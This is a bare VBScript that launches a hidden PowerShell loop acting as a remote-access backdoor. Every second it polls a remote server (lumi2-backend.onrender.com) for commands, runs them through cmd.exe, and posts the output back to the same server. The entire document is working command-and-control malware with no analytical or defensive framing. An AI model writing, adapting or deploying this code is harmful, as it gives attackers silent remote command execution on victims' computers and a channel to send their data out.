Dim shell
Set shell = CreateObject("WScript.Shell")

powershellCommand = "powershell -Command ""$Username = $('%username%' + (Get-Random)); " & _
    "while ($true) { " & _
    "$Content = (Invoke-WebRequest -Uri ('https://lumi2-backend.onrender.com/cmdpoll/' + $Username)).Content.Trim(); " & _
    "if ($Content -ne '') { " & _
    "$Output = cmd.exe /c $Content | Out-String; " & _
    "$Body = @{input = $Content.Trim(); data = $Output.Trim(); uid = $Username}; " & _
    "Invoke-RestMethod -Uri 'https://lumi2-backend.onrender.com/result' -Method Post -Body ($Body | ConvertTo-Json) -ContentType 'application/json'; " & _
    "}; " & _
    "Start-Sleep -Seconds 1; " & _
    "}"""


shell.Run powershellCommand, 0, false
WScript.Quit